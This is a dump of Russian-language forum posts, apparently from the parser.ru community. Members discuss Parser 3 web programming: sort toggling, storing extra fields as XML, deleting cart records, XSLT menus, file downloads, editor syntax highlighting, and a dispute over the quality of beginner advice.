"41517","А как сделать, чтобы при нажатии на ссылку первый раз - ASC, второй раз - DESC?"
"41518","брать поле из базы, в котором xml с дополнительными полями объекта и вставлять в идущий на трансформ документ? \
Если так, то это действительно гораздо лучше всех файловых табличек..."
"41524","Судя по тому, что оба продукта от Macromedia, наверное, есть возможность раскрасить DreamWeaver?"
"41526","Я.ру - Найдётся всё!"
"41527","Кишки у них разные, HomeSite, просто, куплен на корню у Allaire т.ч. макромедиевский там только сплэш и инсталляшка..."
"41528","есть примитивные начинания разрабатывания собственного мини магазина:) как сделать (смотреть в конце) чтобы при выделении нескольких заказов с целью удалить они бы удалялись  а то удаляется\
только первая запись и все... может сделать какой нибудь цикл???\
\
$user_id[^math:md5[$env:REMOTE_ADDR]]\
^connect[$connect_p3test]{$tovar[^table::sql{select * from tovar}]}\
\
<form method=\"post\">\
<table width=80% align=left>\
   <tr>\
     <td>\
^tovar.menu{$tovar.tovar <input type=\"radio\" name=\"tovar\" value=\"$tovar.tovar\">}[<br><br>]<br><br>\
\
<input type=\"submit\"  name=\"post\" value=\"В корзину\">\
     </td>\
   </tr>\
</table>\
</form>\
^if(def $form:post){\
^if(def $form:tovar){\
^connect[$connect_p3test]{^void:sql{insert into shop (zakaz, user_id) values ('^if(def $form:tovar){$form:tovar}', '$user_id')}}\
}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
^connect[$connect_p3test]{\
$shop[^table::sql{select zakaz from shop where user_id='$user_id'}]}\
\
\
<table width=80% align=left>\
   <tr>\
     <td>\
^shop.menu{$shop.zakaz <br><form method=\"post\"><br>\
<input type=\"checkbox\" name=\"zakaz\" value=\"$shop.zakaz\">}[<br>]<br><br>\
<input type=\"submit\" name=\"del\" value=\"удалить\">\
     </td>\
   </tr>\
</table>\
</form>\
<br><br>\
\
\
^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:zakaz'}}\
#$response:location[http://${env:SERVER_NAME}$request:uri]"
"41529","еще есть очень полезная фича в форуме: [code]"
"41531","[code]\
$user_id[^math:md5[$env:REMOTE_ADDR]]\
^connect[$connect_p3test]{$tovar[^table::sql{select * from tovar}]}\
\
<form method=\"post\">\
<table width=80% align=left>\
<tr>\
<td>\
^tovar.menu{$tovar.tovar <input type=\"radio\" name=\"tovar\" value=\"$tovar.tovar\">}[<br><br>]<br><br>\
\
<input type=\"submit\" name=\"post\" value=\"В корзину\">\
</td>\
</tr>\
</table>\
</form>\
^if(def $form:post){\
^if(def $form:tovar){\
^connect[$connect_p3test]{^void:sql{insert into shop (zakaz, user_id) values ('^if(def $form:tovar){$form:tovar}', '$user_id')}}\
}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
^connect[$connect_p3test]{\
$shop[^table::sql{select zakaz from shop where user_id='$user_id'}]}\
\
\
<table width=80% align=left>\
<tr>\
<td>\
^shop.menu{$shop.zakaz <br><form method=\"post\"><br>\
<input type=\"checkbox\" name=\"zakaz\" value=\"$shop.zakaz\">}[<br>]<br><br>\
<input type=\"submit\" name=\"del\" value=\"удалить\">\
</td>\
</tr>\
</table>\
</form>\
<br><br>\
\
\
^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:zakaz'}}\
#$response:location[http://${env:SERVER_NAME}$request:uri]\
[/code]"
"41532","увы, начинать нужно сначала: http://www.parser.ru/docs/lang/formtables.htm\
\
PS уберите form из меню..."
"41533","Нет, просто сначала программист клиента интересуется на чем пишу, а потом боссу говорит, что язык не серъезный, если годится для непрофессиональных программистов. А вот PHP - и пошло и поехало."
"41534","А вы им расскажите, что сама Студия пишет сайты на Парсере. Дайте ссылки на пресс-релизы Студии. Потом еще сделайте подборку про последние баги в php-продуктах."
"41536","их можно нормально использовать только после первого прочтения доки по парсеру :))\
\
да и поиск тоже при желании можно истраивать по этим полям\
например \
WHERE big_field like \"%<adr%>%Ленина%</adr%>%\"\
\
найдёт все записи, в которых\
<adr1>улица Ленина, д1</adr1>\
<adr1>проспект Ленина, д. 111</adr1>\
\
<adr2>улица Ленина, д.7, кв.15</adr2>\
и т.п.\
\
коенчно поиск будет помедленне, чем по просто полям таблицы, но если это будет делаться изредка (не несколько раз при открытии каждой страницы сайта), то на это можно смело закрыть глаза - моё скромное мнение.\
Согласны с этим?"
"41537","если поиск по какому-либо содержимому есть в планах, то это содержимое нужно обязательно выносить в отдельное поле/таблицу."
"41538","когда идёт полнотекстовый поиск по всем заголовкам и телам сообщений.\
\
У меня была мысль в начале хранить для интернет-магазинов состав заказов тоже в XML - но это не правильно, сложно будет подсчитывать разные суммы по заказам, всякие стредние, минимальные и максимальные значения находить, т.е. считать на лету. Здесь XML не подходит категорически!\
\
А предложенный мною вариант думаю имеет право сужествовать и это будут безболезненно"
"41539","..., которые можно будет перезаписывать целиком изменяя данные в веб-форме."
"41540","[url=\"http://www.citforum.ru/internet/xml/storage_models/\"]Универсального способа хранения все равно нет[/url]\
Если понадобится поиск с учетом структуры xml скажем используя XPath то здесь возможности MySql не позволят это сделать в отличии от Oracle.\
Поэтому в качестве альтернативы можно иметь для одного объекта две таблицы в одной хранятся обязательные свойства, а в другой не обязательные. Которые скажем не учавствуют в построении XML по данным таблицы,а используются во внутренних целях."
"41541","и иметь кучу таблиц, которые надо править от проекта к проекту и держать в голове какие у тебя там были столбцы и как их там ты обрабатывал в парсерном коде - т.е. править парсерный код (sql-запросы) от проекта к проекту.\
\
Если запихнуть эти менющиеся поля в одно поле, то sql-запросы к БД меняться не придётся и их можно быдет вынести в классы и забыть о них раз и на всегда. Помнить только как вызывать нужные пару методов из этих классов!"
"41542","При этом надо помнить структуру тегов, которую еще по хорошему надо поминть и проверять xml на синтаксис и т.п. А то при преобразованиии все может очень сильно завалиться при наличии ошибок в синтаксисе"
"41543","Да, а больше людям делать нечего, кроме как каждому клиенту эту подборку присылать. \
\
Я кстати согласен, что с позиционированием и имиджем языка нужно что-то Студии сделать. Если второй Парсер вполне себе был примитивным, то третий -- полноценный и хороший язык. Но подавляющее большинство php-addicted ВСЕГДА реагирует несколько... снисходительно, что ли, на слова \"мы используем parser\"."
"41544","и XSLT-шаблон тоже пишет верстальщик под конкретный проект и конкретные теги"
"41546","и продолжаю считать что вы решили пойти неверной дорогой.\
\
вместо того, чтобы структурировать данные на одном уровне вы делаете это на нескольких, т.е. все усложняете.\
\
[quot]\
WHERE big_field like \"%<adr%>%Ленина%</adr%>%\"\
[/quot]\
\
не будет работать например на такой структуре:\
<adr>Маркса 666</adr>\
<post-adr>Ленина 44</post-adr>\
<adr>Энгельса 13</adr>\
\
к чему это я? к тому, что вы или вынуждены будете писать rlike и искать нормальными регулярными выражениями (т.е. забудьте про индексы в любом их проявлении) или вводить дополнительную типизацию вашего xml-я. т.е. это должен будет быть не просто валидный xml но и xml удовлетворяющий определенным критериям.\
\
при тех исключениях, о которых я говорил выше, возможно хранить \"структуры\" в одном поле, но вы от этих исключений ушли.\
\
к слову замечу, что получаемый \"движок\" не есть универсальный. для больших струкрут он не годится в принципе, т.к. как только вы (или тот, кто будет пользоваться им и не знать специфики) захотите сделать первый поиск - все ляжет.\
\
мне кажется более прямым путь, когда разные данные разнесены в разные поля. для унификации \"движка\" список полей может храниться отдельно (файл, БД, xml - не важно, можно с комментариями если вы забываете какое поле что означает), и инсталяция \"движка\" подразумевает [b]разовую[/b] процедуру создания таблиц/нужных индексов, при этом типовая его инсталяция уже имеет поля, необходимые в большинстве случаев."
"41548","вместо 'yes' использовать '1' или '-1' и проверять ^if($form:order_by_title eq \"1\")..."
"41549","<adr>Маркса 666</adr>\
<post-adr>Ленина 44</post-adr>\
<adr>Энгельса 13</adr>\
\
на такой структуре будет работать:\
WHERE big_field like \"%<%adr%>%Ленина%</%adr%>%\"\
\
Можно пользоваться и \"нормальными регулярными выражениями\" - я не спорю!\
\
А при поиске по этому форуму используются ли \"индексы в любом их проявлении\"?\
\
Насчёт \"вводить дополнительную типизацию вашего xml-я\" - ну тут можно разработать некий стандарт и следовать ему, т.е. это решаемо.\
\
Под \"исключениями\" понимается отсутствие поиска по этим полям?\
\
Теперь по поводу движка. Давайте разберём на конкретном примере.\
Допустим есть интернет-магазин (берём упрощённую модель). Мы храним информацию о User-ах, сделавших заказ, о заказе, о составе заказа. Имеем в итоге 3 таблицы. Ну плюс таблица товары :)\
\
Берем пока объект User.\
У него есть набор свойств базовых:\
- id\
- nick\
- password\
- fio\
\
и т.п.\
\
а потом есть куча свяких свойств:\
- Адрес (некоторые хотят хранить несколько адресов: домашний, рабочий и т.д.)\
- телефон\
- аська\
- электропочта\
- хомпейдж\
- метро (или нескольок ближайших станций, но это можно и к адресу отнести)\
- название фирмы-заказчика\
- коментарий заказчика (может быть несколько разных коментариев: о более удобном времени доставки, как проехать - некоторые заказчики магазином хотят разнести это хозяйство по разным полям веб-формы)\
ну т.д. и т.п. в зависимости от того чем торгует магазин:\
например если подключают интернет, \
- ОС\
- какой модем\
- какие там лампочки и где мигают на модеме\
- есть ли диск с драйверами или операционкой и т.п.\
\
в разных проектах даже в однотипных магазинах этот набор может меняться по малейшей прихоти заказчика.\
\
Моя идея была запихивать эту инфу в одно поле.\
Если честно, то я обмозговывал эту идею пока только для объекта User.\
\
Будет ли производиться поиск по такому XML-полю?\
ну иногда будет, если в системе управления заказами будет поиск, но обычно поиск делается глобальный, т.е. вводится:\
\"улица Энгельса\"\
хранится хоть как:\
<adr>ул. Энгельса, д.1</adr>\
<adr2>ул. Энгельса, д.1</adr2>\
<my_adr>Энгельса, д.1</my_adr>\
\
работает\
WHERE .... or (big_field like \"%улица%\" or big_field like \"%Энгельса%\")\
\
на самом деле таким образом реализованный полнотекстовый поиск даже удобнее реализовывать - при добавлении, удалении этих свойств не нужно будет править поисковый sql-запрос"
"41550","[quot]\
А при поиске по этому форуму используются ли \"индексы в любом их проявлении\"?\
[/quot]\
\
да (RTFM по MySQL).\
\
[quot]\
Насчёт \"вводить дополнительную типизацию вашего xml-я\" - ну тут можно разработать некий стандарт и следовать ему, т.е. это решаемо.\
[/quot]\
\
считаю что это дополнительное, никому не нужное усложнение системы. но решать вам.\
\
[quot]\
Под \"исключениями\" понимается отсутствие поиска по этим полям?\
[/quot]\
\
я об этом написал [url=\"/forum/?id=41515\"]тут[/url]\
\
[quot]\
Берем пока объект User.\
У него есть набор свойств базовых:\
...\
а потом есть куча свяких свойств:\
[/quot]\
\
а я считал и продолжаю считать, что это не свойства пользователя, а свойства оформленного заказа (+ ещё одна таблица с отдельными полями), и поиск по ним нужен. да, некоторые из этих полей зарегистрированный пользователь может захотеть сохранить и использовать несколько раз, и тут их можно хранить как xml в одном поле (но тоже лучше не хранить), и при оформлении заказа содержимое должно переписываться в другую таблицу (или хранить всю историю изменений), чтобы если пользователь оформил заказ на адрес \"А\" а потом пошел и поменял его, то заказ доставлялся-бы все таки на адрес \"А\".\
\
к тому-же если подумать, то полей этих будет не так уж много (про модем, лампочти и т.д. в применении к магазину вы по моему загнули). их можно сделать сразу (не в таблице User а в ещё одной), но не использовать все, если часть из них не нужно в рамках какого-то проекта. \
\
ещё можно добавить отдельную таблицу для подобных свойст (читай \"блоков\" по аналогии с engine), где список свойств определяется при инсталяции и свойства могут быть добавлены по ходу.\
\
а в общем решать вам. вы спросили - я высказал свое мнение. считаю что структурирование данных штука очень полезная, и \"сэкономив\" время на проектировании БД (именно этого вы фактически хотите избежать) вы его скорее всего будете тратить впоследствии."
"41552","Есть XML:\
 <id>\
  <uri>electric</uri>\
  <name>Электроника</name>\
  <source>elect.xml</source>\
    <id>\
     <uri>electric/tv</uri>\
     <name>Телевизоры</name>\
     <source>tv.xml</source>\
    </id>\
    <id>\
     <uri>electric/mw</uri>\
     <name>Микроволновки</name>\
     <source>mw.xml</source>\
    </id>\
 </id>\
\
И так далее, вложенность может быть большая - ID в ID\
\
Есть XSL:\
<xsl:template name=\"menu\">\
<xsl:for-each select=\"document('sitemap.xml')//id[uri=$system_uri]\">\
...\
</xsl:for-each>\
</xsl:template>\
\
$system_uri - полный URI\
\
Пытаюсь реализовать меню.\
\
Как мне выявить узел, в котором есть Id? При following-sibling возникает проблема, если Id не имеет потомков, вылезает он сам, а не его предки. Может добавить атрибут вида catalog=\"true\" и по нему искать, но возможно ли решение без него, чтобы красиво и элегантно.\
Помогите, товарищи..."
"41553","Мне непонятно, как изменить ссылку. Скажем, первый раз кликнули <a href=\"?sort=title\">, второй раз кликнули <a href=\"?sort1=title\">."
"41554","есть кому что «подсказать»?\
можно конечно плюнуть и «развести» кучу дополнительных файликов, но не хочется...\
\
хотябы подскажите (поточнее) где и что почитать..."
"41555","[quot]\
их можно нормально использовать только после первого прочтения доки по парсеру :))\
[/quot]\
вообще не понял к чему это... \
хеши тоже? и стоки и числа? бред...\
\
дополнительные поля добавляются к основным полям объекта уже в коде, а не при доставании объекта из базы, какая разница, где они были? другое дело вставлять xml с доп. полями в выходной xml страницы и использовать их в xsl, но тут нужно извращаться с нодами, если понадобятся доп. поля из xml, допустим в обработчике объекта..."
"41556","разные проекты всегда требут разных полей :) ибо заказчики все разные ) кому-то одного телефона достаточно, а кому-то справку из роддома подавай, нельзя сделать один раз и навсегда..."
"41557","[code]\
^if($form:sort1 eq \"title\"){\
    <b>...</b>\
}{\
    <a href=\"?sort1=title\">...</a>\
}\
[/code]\
\
второй урок в доке"
"41558","для следующих «мученников» ;):\
\
GET — это когда данные передаются в адресной строке, например, когда пользователь жмет ссылку.\
POST — когда он нажимает кнопку в форме.\
Сформировали страницу со ссылкой или с формой методом GET — запрос придет GET-ом. Сформировали с формой, в которой указан метод POST — придет POST-ом.\
\
а дальше используем [url=\"http://www.parser.ru/docs/lang/formqtail.htm\"]qtail. Получение остатка строки запроса[/url]\
\
Вот и всё!"
"41559","[code]\
$zakazy[$form:tables.zakaz]\
^zakazy.menu{\
^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$zakazy.field'}}\
}\
[/code]\
\
Удачи!"
"41560","долго их говрить, решил код написать :) \
[code]\
^connect[$connect_p3test]{\
    $zakazy[$form:tables.zakazy]\
    ^void:sql{\
        DELETE FROM\
            shop\
        WHERE\
            zakaz IN (^zakazy.menu{'$zakazy.field'}[, ])\
    }\
}\
[/code]\
это не придирки, будет у вас 1000 строк в таблице zakazy - будет 1000 коннектов к базе (не быстрая операция) и 1000 delete'ов, вам это надо?"
"41562","Я что-то вообще не понимаю, что вы пишите. Начнём заново =(\
\
# Эту ссылку при повторном нажатии надо заменить на <a href=\"?sort1=title\">. При повторном нажатии она возвращается в исходное состояние. Как в любом почтовике письма сортируются по заголовку, кликаешь на один заголовок, а сортировка меняется ASC-DESC-ASC-DESC и т. д.\
[code]\
<a href=\"?sort=title\">Сортировать по названию</a>\
\
^if($form:sort eq \"title\"){\
	$links[^MAIN:pSQL.table{\
		SELECT title, description, uri, id\
		FROM links\
		ORDER BY title ASC\
	]\
}\
\
^if($form:sort1 eq \"title\"){\
	$links[^MAIN:pSQL.table{\
		SELECT title, description, uri, id\
		FROM links\
		ORDER BY title DESC\
	]\
}\
[/code]"
"41563","есть код:\
[code]\
^if($id){\
^void:sql{delete from $table.items where postid=$id}\
$response:location[/$catalog.start/$catalog.catname/$catalog.type/]\
}\
[/code]\
удаление происходит, но не происходит \"редиректа\" броузера\
путь - точно не пустой"
"41564","[code]\
<a href=\"?sort=^if($form:sort > 0){-}1\">Сортировать по названию</a>\
\
$links[^MAIN:pSQL.table{\
    SELECT\
        title,\
        description,\
        uri,\
        id\
    FROM\
        links\
    ORDER BY\
        title ^if($form:sort > 0}{ASC}{DESC}\
}]\
[/code]\
\
когда $form:sort больше ноля - ascending, если меньше - descending соответственно\
когда сортируем ascending'у к вашей ссылки добавится минус, т.е. в следующий раз отсортируется по descending... и т.д."
"41565","http://www.parser.ru/forum/?terms=response%3Alocation&search_in_message=1&author=Misha+v.3&doSearch=%CD%E0%E9%F2%E8"
"41566","[code]\
^if($request:uri eq \"/?sort=title\"){\
<a href=\"?sort1=title\">Сортировать по названию</a>\
}{\
<a href=\"?sort=title\">Сортировать по названию</a>\
}\
[/code]"
"41568","Почему вас не устраивает http://www.mysite.ru/news/article.html?year=2000&month=05&day=27&thisText=aaa\
?"
"41573","прекратите, пожалуйста, давать подобные советы. Если Вы сами не знаете как делать правильно, то лучше не советуйте другим. Практически все советы, которые Вы дали и весь код приведенный Вами были ужасны. \
Не вводите людей в еще большее заблуждение."
"41574","Поддерживаю предложение по пропаганде парсера. Нужно. Причем - позиционировать как средство \"для ума\", а не для конвейерного пошива. Только надо иметь в виду, что ПХП сегодня - это уже супы из пакетиков, а Parser - еще собственноручный борщ с мясом ;-) Это нормальный путь языка... стать пакетиком с готовым супом."
"41575","а посоветовать что-то толковое на «обычные вещи» здесь, ИМХО, не любят (кроме «поиска по форума» и «прочтения документации»).\
\
работает? работает! пусть остается как есть!"
"41576","Красивое и элегантное решение - сделать\
[code]<xsl:apply-templates select=\"id\"/>[/code]\
в том месте, где нужно делать обработку каталога, и, соответственно, описать\
[code]\
<xsl:template match=\"id\">\
  <!-- Element 'id' processing here -->\
</xsl:template>\
[/code]\
\
А вообще, если хотите, чтобы было красиво, переименуйте для начала элемент \"id\" во что-нибудь более осмысленное. Вы ведь не работаете с объектом \"идентификатор\", вы работаете, по крайней мере, с объектом \"пункт каталога\", поэтому элемент стоит назвать хотя бы \"item\". Также было бы вполне логично, если бы у каждого элемента был атрибут \"id\"."
"41577","Хочешь сказать что это не работоспособно?!\
Другое дело, что не доглядел c Connect'ом, но D меня поправил.\
\
[b]И вообще, как ты смеещь писать подобные вещи![/b]\
\
У каждого свой стиль написания и алгоритмизации!\
Почему же Ты написал только через день, и то не по делу?"
"41578","Бедный MySQL сервер...\
На будущее. Не стоит использовать запросы к БД внутри menu\
\
И еще. Найдите отличия в своем коде и коде D. Проанализируйне, сделайты выводы.\
Может тогда поймете на сколько плох был ваш совет.\
\
ИМХО: наличие плохого совета гораздо хуже чем отсутствие совета вообще."
"41579","http://www.parser.ru/forum/?id=40942\
\
Вряд ли модераторы дадут развести еще один такой тред :-)"
"41580","Я в курсе. Вот только выводов сделано не было.\
Все также не читаются доки, форум и т.п.\
\
Мне вспомнилось высказывание учителя Мишы про добрых и добреньких людей. STFF если интересно :)\
А тут даже не знаю что сказать. Мало того что не дают человеку самому решить задачу, так еще и раздают советы, которые плодят горе-специалистов и потом дискредитируют Парсер.\
\
З.Ы. Думаю на главной надо написать, что на Парсере могу писать даже не программисты, но необходимость думать и учиться при этом ни что не отменал"
"41581","Создаю скрипт для создания прайс листов. Есть одна идея, но не знаю какими средствами выполнить:\
например есть <input type=\"text\" ... > какими средствами сделать так чтобы информация вводимая в это поле сразу же отображалась в виде текста? Наверное, многие видели такие вещи, например на директ.яндекс при составлении объявления.\
\
Поискал в учебнике по JS, такого не нашел.\
Интересует - какими средствами можно это реализовать."
"41582","1000 connect-ов не будет, будет один, который 999 раз положится в кэш, 999 раз возьмётся оттуда.\
fun: и ещё 1 раз положится."
"41583","http://www.parser.ru/forum/?id=41564"
"41584","Эта строка вызывает лишние вопросы у заказчиков. Я 100% за то, что бы ее убрать..."
"41585","В расширенном поиске тоже самое:\
http://www.yandex.ru/advanced.html"
"41586","и в поправке забыт ^if т.к. $form:zakazy может быть !def"
"41587","пользователь в обсуждаемой формочке будет обычно иметь дело с одним-двумя заказами; максимум с десятком.\
\
ведь никто не думает, что там будет 1000 checkboxes и какой-то несчастный будет всех их включать? {риторический}\
\
так что простой подход в этом случае самый понятный и правильный.\
\
в других случаях этот подход не годится. и об этом можно отдельно сказать."
"41588","В общем вот:\
[code]\
<b>Скачать прайс-лист</b>\
^if(-f \"/download/price.xls\"){\
 <a href=\"/download/price.xls\">в&nbsp^;формате Microsoft Excel</a><br />\
 $xls[^file::stat[/download/price.xls]]\
 <em><nobr>${xls.cdate.year}-${xls.cdate.month}-${xls.cdate.day} года</nobr></em>\
 ^[^eval($xls.size/1024)[%d]&nbsp^;Kb^]}\
\
^if(-f \"/download/price.zip\"){\
 <p><a href=\"/download/price.zip\">в&nbsp^;формате WinZIP</a><br />\
 $zip[^file::stat[/download/price.zip]]\
 <em><nobr>${zip.cdate.year}-${zip.cdate.month}-${zip.cdate.day} года</nobr></em>\
 ^[^eval($zip.size/1024)[%d]&nbsp^;Kb^]}\
[/code]\
 это из вашего сообщения, и больше ничего не нужно.\
Я не понимаю зачем вам здесь POST,GET... есть описание файла, есть ссылка..."
"41589","Яндекс не препарировал... Мне сложней всего разбираться в готовых скриптах, всегда пишу все сам."
"41590","[code]\
<table border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\" class=\"search\">\
<tr>\
<td class=\"searchString\" valign=\"top\"><b>Р&#152;С‚РѕРіРѕ:</b></td>\
<td width=\"100%\" class=\"searchString\" valign=\"top\">\
<span id=\"SearchStr\"></span>\
</td>\
<td>\
<input tabindex=\"26\" type=\"submit\" value=\"РќР°Р№С‚Рё\"/>\
[/code]\
Здесь выводится тескт из форм.. - никаких переменны.."
"41591","я на 100% уверен, что такой поход будет распространен на все случаи, когда надо удалить, обновить и т.п. несколько записей. В menu будет засунут запрос к БД и дело с концом. А это может быть уже не 2-3 инерации, а много больше.\
Так зачем же показывать заведомо не совесем правильный метод?"
"41592","Посмотрите на input. Там два события, при которых он вызывает функцию. Взгляните на эту функцию. А в span [i]SearchStr[/i] данные помещается с помощью DOM в пределах той же функции. Плюс еще функция замены некоторых символов используется."
"41593","Я пытался это сделать, однако если пользоваться тем путем, который дан в справке Dreamweaver'a (через файл Macromedia\\Dreamweaver MX 2004\\Configuration\\CodeColoring\\CodeColoring.xml), то подсветка происходит не совсем корректно, и иногда даже раздражающе некорректно. По всей видимости, для корректного отображения нужно переделывать системные модули DW, написанные в javascript.\
\
В итоге я не стал продолжать попыток."
"41594","[code]<script language=\"Javascript\">\
function processTitle(element){\
document.getElementById('ad-title').innerHTML = element.value;\
document.getElementById('counter-title').innerHTML = 25 - element.value.length;\
}\
</script>\
...\
<input name=\"title\" type=\"text\" onKeyUp=\"processTitle(this);\" onkeypress=\"processTitle(this);\"  value=\"\" />\
<div id=\"counter-title\">25</div>\
<div id=\"ad-title\">Заголовок</div>[/code]\
это обрезанная версия с директ.яндекс"
"41595","вы что-то там себе допустили и на человека напали.\
\
это при том, что в простых случаях можно и нужно применять простые методы.\
\
сразу писать правильно, вещь хорошая, и её можно отдельно посоветовать. при этом оговорив, что, мол, «да, тут можно и так», но в таких-то случаях это работать не будет и «[i]тогда[/i] лучше эдак».\
\
аналогия: человек учится водить машину, никак не может на горке тронуться. ему нужно сначала научиться трогаться, и только потом научиться не перегазовывать."
"41597","Если какой код по парсеру - обращайся!"
"41600","По виду нет :)\
Я вообще кроме парсера и SQL больше ничего и не использую, поэтому\
остальные языки практически не знаю.\
Кстати мне кажется в этом скрипте не только JS, а еще и DOM, я сейчас доку по DOM открыл, там такие функции есть."
"41601","Смысл действия простой.\
\
Предположим если кликнуть по ссылке, то IE очень часто показывает содержимое внутри браузера, что мало приятно, а Opera начинает сразу качать (если файл 100Mb и ты «сидишь» на высокоскоростном канале рубля по 3 за метр, то это сомнительное удовольствие).\
А если выводить «табличку» через $response:download[], то Opera ждет, да и IE предлагает сохранить файл...\
\
«Разводить» лишние файлы (\
[code]<a href=\"/download/documentation.html\">Скачать документацию</a>\
\
download_documentation.html:\
$response:download[^file::load[binary;documentation.pdf]][/code]\
)\
\
не охота, потому как хоца чтобы было всё «под рукой». Охота «проверить» клик — если нажал, то «табличка».\
Вот и возник вопрос: убрать кнопку «POST» и «не портить» URL «вопросиками».\
\
Видимо я плохо изъяснил проблему (у нас 3-ий день ужасная жара :( к вечеру аж тошнит), за что прошу прощения..."
"41602","Просто пришел - увидел - побелил... :-)))"
"41603","[code]<b>Скачать прайс-лист</b>\
^if(-f \"/download/price.xls\"){\
 <a href=\"ТЕКУЩАЯ_СТРАНИЦА?name=xls\">вформате Microsoft Excel</a><br />\
 $xls[^file::stat[/download/price.xls]]\
 <em><nobr>${xls.cdate.year}-${xls.cdate.month}-${xls.cdate.day} года</nobr></em>\
 ^[^eval($xls.size/1024)[%d]&nbsp^;Kb^]}\
\
^if(-f \"/download/price.zip\"){\
 <p><a href=\"ТЕКУЩАЯ_СТРАНИЦА?name=zip\">вформате WinZIP</a><br />\
 $zip[^file::stat[/download/price.zip]]\
 <em><nobr>${zip.cdate.year}-${zip.cdate.month}-${zip.cdate.day} года</nobr></em>\
 ^[^eval($zip.size/1024)[%d]&nbsp^;Kb^]}\
\
^if(def $form:name){\
^switch[$form:name]{ \
   ^case[xls]{$response:download[^file::load[binary;/download/price.xls]]} \
   ^case[zip]{$response:download[^file::load[binary;/download/price.zip]]} \
}\
}[/code]\
Хотя вы наверное уже сделали..."
"41604","[code]\
<a href=\"?detail?id1\">подробнее</a>\
\
^if($form:qtail eq id1){\
<p>Bla-bla-bla\
}\
[/code]\
\
(будет с погодой полегче ;) попробую Ваш вариант. Спасибо за совет)\
\
А вся затея еще вот из-за чего:\
Артемий Лебедев. [url=\"http://www.artlebedev.ru/kovodstvo2/sections/48/\"]Боремся за чистоту URL[/url].\
\
Вот я и хотел спросить:\
\
Как же вы (создатели Parser'а) боретесь, то?"
"41606","Хотелось бы \"человеческими\" средствами...\
\
Ну раз соображений больше нет, по поводу $form:, то думаю не стоит больше отвлекать друг друга...\
\
бАльшое спасибо участникам этого трэда."
"41607","товарищи как мне сделать такуюже шапку как на сайте www.isb.ru. Там в зависимости от времени суток разное небо."
"41608","Все что пытаюсь писать на парсере, игнорируется. А как подключит парсер к HomeSite не знаю... Подскажите"
"41611","нету if'a... :) \
где написано, что connect кешируется?"
"41613","вообщето всё, как будут выводиться картинки именно для этого времени суток"
"41614","Выставляете в окно веб-камеру, которая с определенным периодом фотографирует \"небо\" и сохраняет в один и тот же файл. Таким образом в каждый момент времени имеем в файле изображение \"неба\".\
Правда есть проблема с пролетающими мимо помехами, типа ворон и всяких там спутников, с этим надо как-то бороться..."
"41620","Зашел на форум и глазам своим не поверил что вызвал такой спор по своему вопросу приятно конечно но я бы не стал ссориться я бы вопреки всем убеждениям СКАЗАЛ БЫ СПАСИБО!!! dmx102 не за то что он дает правильные или не совсем правильные по мнению некоторых коды а за то что он откликается на многие вопросы и помогает пусть даже по мнению некоторых не совсем правильно но есть хотя бы че с чем сравнить от чего оттолкнуться посмотреть проанализировать и ЗА ЭТО ЕМУ ОГРОМНОЕ СПАСИБО!!!!"
"41621","уже с его помощью можно реализовать задачу"
"41622","Я со своей проблемой справился но оказалось что это не совсем что мне нужно хотя я и не жалею что пошел по этому пути...\
Мне бы хотелось сделать чтобы при каждом добавлении в карзину товару у него была собственная кнопка \"удалить\" щелкая по которой удалялся именно данный товар... вот пока это не получается если кто знает то плиз подскажите или направте куда надо например почитать доку:))"
"41624","естественно хорошо, что человек помогает другому человеку. НО, допустим первый пример: два профи: \
- подскажи, как сделать ... \
 ...прошло 10 мин.\
- вот тут набросал, посмотри\
- спасибо :) попробую...\
\
затем первый протестировав код и убедившись в его работоспособности (самое главное) начал делать некий такой рефакторинг (называйте как хотите), код был рабочий, потом он стал правильный, потом стал правильно и быстро работать. От идеи второго программера остались лишь воспоминания и долг :) - бутылка пива :) \
\
Некоторые же делают иначе (не о вас речь), видят код, понимают - это мне, copy/paste - наслождение и бомба замедленного действия для сервера..."
"41627","Если есть интерес, пишите: ICQ 284563712"
"41628","В чем смысл?"
"41630","участия в создании торговой системы для чего это нужно мне?"
"41631","Есть форма при добавлении товара в корзину рядом появляется кнопка удалить если сделать так\
[code]\
<input type=\"submit\" name=\"ok\" value=\"удалить\">\
\
^shop.menu{$clicked[$form:ok]\
^if(def $clicked){^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:ok'}}}} \
[/code]\
\
тоудаляется только первая запись а если так \
[code]\
<input type=\"submit\" name=\"ok\" value=\"$shop.zakaz\">\
\
^shop.menu{$clicked[$form:ok]\
^if(def $clicked){^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:ok'}}}} \
[/code]\
\
то все нормально за исключением того что вместо надписи удалить появляется наименование товара можно ли как нибудь по другому???"
"41632","а как сделать так чтобы в определённое время менялись не картинки а определённых css'ник (а в нём тады прописывать картинки)"
"41633","Взято из ReadMe.txt и переведено.\
\
1. Скопируйте файл [b]Parser 3.scc[/b] в папку [b]C:\\Program Files\\Macromedia\\HomeSite+\\Parsers[/b] (либо может быть C:\\Program Files\\Macromedia\\HomeSite 5\\Parsers\\).\
2. Правой кнопкой мыши нажмите на файл [b]P3 HS 5+ Install.inf[/b] и в открывшемся меню нажмите Установить (Install).\
3. Для смены цветовой раскраски кода в HomeSite пользуйтесь: [b]Options -> Settings -> Editor -> Color Coding[/b].\
\
P.S. От себя советую, добавить в Options -> Settings -> File Settings -> Extension Manager поле (кнопка Add):\
\
	Name: Parser (*.p;*.p2;*.p3)\
	Extensions: *.p;*.p2;*.p3\
	[i]Editable[/i]"
"41634","эта убивает стандартную расскраску в Хомяке, замучаетесь потом. Лучше  без нее"
"41640","[code]\
<input type=\"submit\" name=\"ok\" value=\"удалить\" ><input type=\"hidden\" name=\"tovar\" value=\"$shop.zakaz\">\
\
^shop.menu{$clicked[$form:ok] \
^if(def $clicked){^connect[$connect_p3test]{^void:sql{delete from shop where zakaz='$form:tovar'}}}} \
\
[/code]"
"41641","Не понятно происхождение этой строчки\
[code]\
where zakaz='$form:ok'\
[/code]\
Вы какому-то столбцу в таблице зачем-то ставите в соответствие значение кнопки...."
"41643","You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '='удалить'' at line 1"
"41644","Удалить все записи:\
DELETE FROM	table"
"41645","Мне это и нужно удалить все строчки где заказ \"такой то\""
